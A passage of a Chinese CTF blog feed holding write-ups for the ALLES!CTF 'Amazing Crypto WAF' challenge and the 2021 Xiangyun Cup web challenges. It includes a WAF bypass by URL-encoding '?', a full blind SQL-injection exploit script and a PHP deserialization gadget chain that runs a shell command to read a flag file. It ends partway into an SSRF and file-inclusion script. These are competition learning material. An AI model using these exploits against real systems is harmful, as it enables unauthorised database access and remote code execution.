    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>2021 ALLES!CTF Amazing Crypto WAF</title>
    <link href="https://igml.top/2021/09/05/2021-ALLESCTF/"/>
    <id>https://igml.top/2021/09/05/2021-ALLESCTF/</id>
    <published>2021-09-05T05:04:43.000Z</published>
    <updated>2021-09-05T05:51:52.588Z</updated>
    
    <content type="html"><![CDATA[<p>这周末本来在赶报告ddl，写报告写累了准备去看看题休息一下，没想到一道题看了六七个小时卡住，浪费了很多时间.. 记录下这道题。</p><a id="more"></a><h2 id="Amazing-Crypto-WAF"><a href="#Amazing-Crypto-WAF" class="headerlink" title="Amazing Crypto WAF"></a>Amazing Crypto WAF</h2><h3 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h3><p>给了docker，浏览一遍，两个container，开放服务的container是个代理，转发请求到内部container。proxy代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(&#x27;/&lt;path:path&gt;&#x27;, methods=[&#x27;POST&#x27;, &#x27;GET&#x27;])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">proxy</span>(<span class="params">path</span>):</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Web Application Firewall</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        waf_param(request.args)</span><br><span class="line">        waf_param(request.form)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;error&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># contact backend server</span></span><br><span class="line">    proxy_request = <span class="literal">None</span></span><br><span class="line">    query = request.query_string.decode()</span><br><span class="line">    headers = &#123;<span class="string">&#x27;Cookie&#x27;</span>: request.headers.get(<span class="string">&#x27;Cookie&#x27;</span>, <span class="literal">None</span>) &#125;</span><br><span class="line">    <span class="keyword">if</span> request.method==<span class="string">&#x27;GET&#x27;</span>:</span><br><span class="line">        proxy_request = requests.get(<span class="string">f&#x27;<span class="subst">&#123;BACKEND_URL&#125;</span><span class="subst">&#123;path&#125;</span>?<span class="subst">&#123;query&#125;</span>&#x27;</span>,</span><br><span class="line">                            headers=headers,</span><br><span class="line">                            allow_redirects=<span class="literal">False</span>)</span><br><span class="line">    <span class="keyword">elif</span> request.method==<span class="string">&#x27;POST&#x27;</span>:</span><br><span class="line">        headers[<span class="string">&#x27;Content-type&#x27;</span>] = request.content_type</span><br><span class="line">        proxy_request = requests.post(<span class="string">f&#x27;<span class="subst">&#123;BACKEND_URL&#125;</span><span class="subst">&#123;path&#125;</span>?<span class="subst">&#123;query&#125;</span>&#x27;</span>, </span><br><span class="line">                            data=encrypt_params(request.form),</span><br><span class="line">                            headers=headers,</span><br><span class="line">                            allow_redirects=<span class="literal">False</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> proxy_request:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;error&#x27;</span></span><br><span class="line"></span><br><span class="line">    </span><br><span class="line">    response_data = decrypt_data(proxy_request.content)</span><br><span class="line">    injected_data = inject_ad(response_data)</span><br><span class="line">    resp = make_response(injected_data)</span><br><span class="line">    resp.status = proxy_request.status_code</span><br><span class="line">    <span class="keyword">if</span> proxy_request.headers.get(<span class="string">&#x27;Location&#x27;</span>, <span class="literal">None</span>):</span><br><span class="line">        resp.headers[<span class="string">&#x27;Location&#x27;</span>] = proxy_request.headers.get(<span class="string">&#x27;Location&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> proxy_request.headers.get(<span class="string">&#x27;Set-Cookie&#x27;</span>, <span class="literal">None</span>):</span><br><span class="line">        resp.headers[<span class="string">&#x27;Set-Cookie&#x27;</span>] = proxy_request.headers.get(<span class="string">&#x27;Set-Cookie&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> proxy_request.headers.get(<span class="string">&#x27;Content-Type&#x27;</span>, <span class="literal">None</span>):</span><br><span class="line">        resp.content_type = proxy_request.headers.get(<span class="string">&#x27;Content-Type&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> resp</span><br></pre></td></tr></table></figure><p>这里有个waf，过滤所有的get参数和post参数，waf 是这样的：</p><p><img src="/2021/09/05/2021-ALLESCTF/image-20210905131132515.png" alt="image-20210905131132515"></p><p>这个代理还有一个加密功能，会把post的部分参数值在请求前使用AES加密：</p><p><img src="/2021/09/05/2021-ALLESCTF/image-20210905131332584.png" alt="image-20210905131332584"></p><p>可以看到一些参数是不加密。加密结果是<code>ENCRYPT:xxx</code>格式，在得到内层container的响应后，这个代理会正则匹配<code>ENCRYPT:xxx</code>格式的数据，进行解密替换密文再返回给我们。</p><p>而内层container，sqlite 数据库，有登陆/注册、增删notes、查看notes功能，具体代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(&#x27;/notes&#x27;)</span></span><br><span class="line"><span class="meta">@login_required</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">notes</span>():</span></span><br><span class="line">    order = request.args.get(<span class="string">&#x27;order&#x27;</span>, <span class="string">&#x27;desc&#x27;</span>)</span><br><span class="line">    notes = query_db(<span class="string">f&#x27;select * from notes where user = ? order by timestamp <span class="subst">&#123;order&#125;</span>&#x27;</span>, [g.user[<span class="string">&#x27;uuid&#x27;</span>]])</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;notes.html&#x27;</span>, user=g.user, notes=notes)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(&#x27;/delete_note&#x27;, methods=[&#x27;POST&#x27;])</span></span><br><span class="line"><span class="meta">@login_required</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_note</span>():</span></span><br><span class="line">    user = g.user[<span class="string">&#x27;uuid&#x27;</span>]</span><br><span class="line">    note_uuid = request.form[<span class="string">&#x27;uuid&#x27;</span>]</span><br><span class="line">    commit_db(<span class="string">&#x27;delete from notes where uuid = ? and user = ?&#x27;</span>, [note_uuid, user])</span><br><span class="line">    <span class="keyword">return</span> redirect(<span class="string">f&#x27;/notes?deleted=<span class="subst">&#123;note_uuid&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(&#x27;/add_note&#x27;, methods=[&#x27;POST&#x27;])</span></span><br><span class="line"><span class="meta">@login_required</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span>():</span></span><br><span class="line">    new_note_uuid = uuid.uuid4().<span class="built_in">hex</span></span><br><span class="line">    user = g.user[<span class="string">&#x27;uuid&#x27;</span>]</span><br><span class="line">    title = request.form[<span class="string">&#x27;title&#x27;</span>]</span><br><span class="line">    body = request.form[<span class="string">&#x27;body&#x27;</span>]</span><br><span class="line"></span><br><span class="line">    commit_db(<span class="string">&#x27;insert into notes (uuid, user, title, body) values (?, ?, ?, ?)&#x27;</span>, </span><br><span class="line">        [new_note_uuid, user, title, body])</span><br><span class="line">    <span class="keyword">return</span> redirect(<span class="string">&#x27;/notes&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(&#x27;/registerlogin&#x27;, methods=[&#x27;POST&#x27;])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">registerlogin</span>():</span></span><br><span class="line">    username = request.form[<span class="string">&#x27;username&#x27;</span>]</span><br><span class="line">    password = request.form[<span class="string">&#x27;password&#x27;</span>]</span><br><span class="line">    pwhash = hashlib.sha256(password.encode(<span class="string">&#x27;utf-8&#x27;</span>)).hexdigest()</span><br><span class="line">    user = query_db(<span class="string">&#x27;select * from users where username = ? and password = ?&#x27;</span>, </span><br><span class="line">                    [username, pwhash], one=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        <span class="comment"># new user. let&#x27;s create it in the database</span></span><br><span class="line">        new_user_uuid = uuid.uuid4().<span class="built_in">hex</span></span><br><span class="line">        commit_db(<span class="string">&#x27;insert into users (uuid, username, password) values (?, ?, ?)&#x27;</span>, </span><br><span class="line">                [new_user_uuid, username, pwhash])</span><br><span class="line">        user= query_db(<span class="string">&#x27;select * from users where uuid = ?&#x27;</span>, [new_user_uuid], one=<span class="literal">True</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># calculate signature for cookie</span></span><br><span class="line">    key = user[<span class="string">&#x27;uuid&#x27;</span>]</span><br><span class="line">    sig = signature(user[<span class="string">&#x27;uuid&#x27;</span>])</span><br><span class="line">    response = redirect(<span class="string">&#x27;/notes&#x27;</span>)</span><br><span class="line">    response.set_cookie(<span class="string">&#x27;session&#x27;</span>, <span class="string">f&#x27;<span class="subst">&#123;key&#125;</span>.<span class="subst">&#123;sig&#125;</span>&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> response</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>初始化题目的时候会创建一个flag用户，密码未知，然后插入一条body为flag的notes：</p><p><img src="/2021/09/05/2021-ALLESCTF/image-20210905132320173.png" alt="image-20210905132320173"></p><p>不过经过前面的分析，body和title字段进入数据库的是加密过的密文。</p><h3 id="各种尝试"><a href="#各种尝试" class="headerlink" title="各种尝试"></a>各种尝试</h3><p>分析完题目逻辑后，审计源码。很明显后端<code>/notes</code>处order是唯一的注入点，order by 后面可以直接用 <code>asc,(case when 1 then randomblob(5000000000000) else 1 end)</code> ，观察是否返回error来进行布尔盲注。</p><p>于是开始注入，因为过滤了select，起初我的payload是这样的：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">desc,(case when (substr(body,1,1)&#x3D;char(100)) then randomblob(5000000000000) else 1 end)</span><br></pre></td></tr></table></figure><p>但是发现注不出flag的密文， 只能注出我自己的notes… 仔细看下sql语句：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">query_db(<span class="string">f&#x27;select * from notes where user = ? order by timestamp <span class="subst">&#123;order&#125;</span>&#x27;</span>, [g.user[<span class="string">&#x27;uuid&#x27;</span>]])</span><br></pre></td></tr></table></figure><p>order by后面受到 where 的限制，所以我们只能注出自己用户的内容。</p><p>这里卡了很久，尝试绕过waf，不过waf有个递归的urldecode，感觉绕不过去。翻了n遍文档寻找如何不用select的情况下构造一个新的查询逻辑，但是无果，感觉这条路是无解的。</p><p>于是我想到了读文件，要是能读文件直接读取 /tmp/secret，再把 sqlite.db 给拖下来，可以直接伪造 flag 用户。</p><p>本地起个环境，试试：</p><p><img src="/2021/09/05/2021-ALLESCTF/unknown.png" alt="img"></p><p>看起来可以！注入试一下，好像8太行，看下log：</p><p><img src="/2021/09/05/2021-ALLESCTF/unknown-20210905133020008.png" alt="img"></p><p>没事了，python sqlite3 看起来不支持 readfile…</p><h3 id="柳暗花明"><a href="#柳暗花明" class="headerlink" title="柳暗花明"></a>柳暗花明</h3><p>经队里师傅的尝试，竟然能绕过WAF使用select，看看怎么利用的：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;notes%3Forder&#x3D;xxx</span><br></pre></td></tr></table></figure><p>回过头看下源码：</p><p><img src="/2021/09/05/2021-ALLESCTF/image-20210905133345571.png" alt="image-20210905133345571"></p><p>waf 是通过 request.args取的，而把?进行urlencode，后面的数据都被当成了path，自然可以通过waf。而请求后端的时候，path会自动进行一次urldecode拼接到url后面，%3F变成了?，后端就可以正常获取到order参数了。不过注意后面还多一个?，在我们注入的时候payload后面要加个注释，把这个问号注释掉，否则会报错。</p><p>是我菜了… 学到了。</p><p>绕过waf ，那就好办了，字符串也不需要用CHAR拼接了，构造payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">desc,(case when (select substr(body,%s,1)&#x3D;&quot;%s&quot; from notes where user!&#x3D;&#123;userid&#125;) then randomblob(5000000000000) else 1 end)--</span><br></pre></td></tr></table></figure><p>注入出flag的密文，需要我们进行解密。很明显可以看到删除note处有一处很可疑：</p><p><img src="/2021/09/05/2021-ALLESCTF/image-20210905134422923.png" alt="image-20210905134422923"></p><p>/notes路由根本就没有处理 deleted 参数的逻辑，并且这里的note_uuid是我们可控的。redirect函数：</p><p><img src="/2021/09/05/2021-ALLESCTF/image-20210905134537799.png" alt="image-20210905134537799"></p><p>可以看到返回的内容里包含location，所以/delete_note路由的uuid参数就是一个用于解密的功能，把密文通过uuid参数发过去就可以了。</p><p>完整exp：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">s = requests.session()</span><br><span class="line"><span class="comment"># url = &quot;https://7b0000006f329cb3e773932f-amazing-crypto-waf.challenge.master.allesctf.net:31337/&quot;</span></span><br><span class="line">url = <span class="string">&quot;http://127.0.0.1:5000&quot;</span></span><br><span class="line"><span class="comment"># proxies = &#123;&#x27;http&#x27;: &#x27;http://127.0.0.1:8080&#x27;&#125;</span></span><br><span class="line">proxies = &#123;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">register</span>():</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;password&quot;</span>: <span class="string">&#x27;gmlsec&#x27;</span>, <span class="string">&quot;username&quot;</span>: <span class="string">&#x27;gmlsec&#x27;</span>&#125;</span><br><span class="line">    resp = s.post(url + <span class="string">&#x27;/registerlogin&#x27;</span>, data=paramsPost, proxies=proxies)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;gmlsec&#x27;</span> <span class="keyword">in</span> resp.content:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span>():</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;title&quot;</span>: <span class="string">&quot;gml&quot;</span>, <span class="string">&quot;body&quot;</span>: <span class="string">&quot;gml&quot;</span>&#125;</span><br><span class="line">    response = s.post(url + <span class="string">&quot;/add_note&quot;</span>, data=paramsPost, proxies=proxies)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_notes</span>(<span class="params">order</span>):</span></span><br><span class="line">    response = s.get(url + <span class="string">&quot;/notes%3Forder=&quot;</span> + order, proxies=proxies)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;error&quot;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_encrypted_flag</span>():</span></span><br><span class="line">    userid = s.cookies.get_dict()[<span class="string">&#x27;session&#x27;</span>].split(<span class="string">&#x27;.&#x27;</span>)[<span class="number">0</span>]  <span class="comment"># my user&#x27;s uuid</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    tem = <span class="string">&#x27;desc,(case when (select substr(body,%s,1)=&quot;%s&quot; from notes where user!=&quot;&#123;userid&#125;&quot;) then randomblob(5000000000000) else 1 end)--&#x27;</span>.<span class="built_in">format</span>(</span><br><span class="line">        userid=userid)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">1000</span>):</span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> string.ascii_letters + string.digits + <span class="string">&quot;/=:&quot;</span>:</span><br><span class="line">            payload = tem % (i,c)</span><br><span class="line">            <span class="keyword">if</span> get_notes(payload):</span><br><span class="line">                data += c</span><br><span class="line">                flag = <span class="literal">True</span></span><br><span class="line">                <span class="built_in">print</span> data</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;end!&quot;</span></span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dec</span>(<span class="params">cipher</span>):</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;uuid&quot;</span>: cipher&#125;</span><br><span class="line">    response = s.post(url + <span class="string">&quot;/delete_note&quot;</span>, data=paramsPost, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">    <span class="built_in">print</span> response.content</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    register()</span><br><span class="line">    data = get_encrypted_flag()</span><br><span class="line">    dec(data)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>远程环境交互非常慢（还是https），本地跑是完全没有问题的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这周末本来在赶报告ddl，写报告写累了准备去看看题休息一下，没想到一道题看了六七个小时卡住，浪费了很多时间.. 记录下这道题。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/Web/wp/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
    <category term="url编码绕过" scheme="https://igml.top/tags/url%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87/"/>
    
  </entry>
  
  <entry>
    <title>2021 祥云杯wp</title>
    <link href="https://igml.top/2021/08/22/2021-xiangyuncup/"/>
    <id>https://igml.top/2021/08/22/2021-xiangyuncup/</id>
    <published>2021-08-22T12:10:30.000Z</published>
    <updated>2021-08-22T12:48:21.098Z</updated>
    
    <content type="html"><![CDATA[<p>2021 祥云杯初赛 Web 题解。</p><a id="more"></a><h2 id="ezyii"><a href="#ezyii" class="headerlink" title="ezyii"></a>ezyii</h2><p>参考<a href="https://xz.aliyun.com/t/9948#toc-6">https://xz.aliyun.com/t/9948#toc-6</a> 第四条链子。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Codeception</span>\<span class="title">Extension</span>&#123;</span><br><span class="line">    <span class="title">use</span> <span class="title">Faker</span>\<span class="title">DefaultGenerator</span>;</span><br><span class="line">    <span class="keyword">use</span> <span class="title">GuzzleHttp</span>\<span class="title">Psr7</span>\<span class="title">AppendStream</span>;</span><br><span class="line">    <span class="class"><span class="keyword">class</span>  <span class="title">RunProcess</span></span>&#123;</span><br><span class="line">        <span class="keyword">protected</span> $output;</span><br><span class="line">        <span class="keyword">private</span> $processes = [];</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;processes[]=<span class="keyword">new</span> DefaultGenerator(<span class="keyword">new</span> AppendStream());</span><br><span class="line">            <span class="keyword">$this</span>-&gt;output=<span class="keyword">new</span> DefaultGenerator(<span class="string">&#x27;jiang&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">echo</span> urlencode(base64_encode(serialize(<span class="keyword">new</span> RunProcess())));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Faker</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">DefaultGenerator</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">default</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$default = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;default = $default;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">GuzzleHttp</span>\<span class="title">Psr7</span>&#123;</span><br><span class="line">    <span class="title">use</span> <span class="title">Faker</span>\<span class="title">DefaultGenerator</span>;</span><br><span class="line">    <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">AppendStream</span></span>&#123;</span><br><span class="line">        <span class="keyword">private</span> $streams = [];</span><br><span class="line">        <span class="keyword">private</span> $seekable = <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;streams[]=<span class="keyword">new</span> CachingStream();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">CachingStream</span></span>&#123;</span><br><span class="line">        <span class="keyword">private</span> $remoteStream;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;remoteStream=<span class="keyword">new</span> DefaultGenerator(<span class="literal">false</span>);</span><br><span class="line">            <span class="keyword">$this</span>-&gt;stream=<span class="keyword">new</span>  PumpStream();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">PumpStream</span></span>&#123;</span><br><span class="line">        <span class="keyword">private</span> $source;</span><br><span class="line">        <span class="keyword">private</span> $size=<span class="number">-10</span>;</span><br><span class="line">        <span class="keyword">private</span> $buffer;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;buffer=<span class="keyword">new</span> DefaultGenerator(<span class="string">&#x27;j&#x27;</span>);</span><br><span class="line">            <span class="keyword">include</span>(<span class="string">&quot;closure/autoload.php&quot;</span>);</span><br><span class="line">            $a = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;system(<span class="string">&#x27;cat /flag.txt&#x27;</span>);&#125;;</span><br><span class="line">            $a = \Opis\<span class="built_in">Closure</span>\serialize($a);</span><br><span class="line">            $b = unserialize($a);</span><br><span class="line">            <span class="keyword">$this</span>-&gt;source=$b;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="安全检测"><a href="#安全检测" class="headerlink" title="安全检测"></a>安全检测</h2><p>一个ssrf，经过测试是 file_get_contents.</p><p>扫目录，/admin是403，ssrf去请求<a href="http://127.0.0.1/admin">http://127.0.0.1/admin</a>。</p><p>里面一个php，文件包含过滤了很多东西，考虑session竞争上传+文件包含。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64encode</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> sample, randint</span><br><span 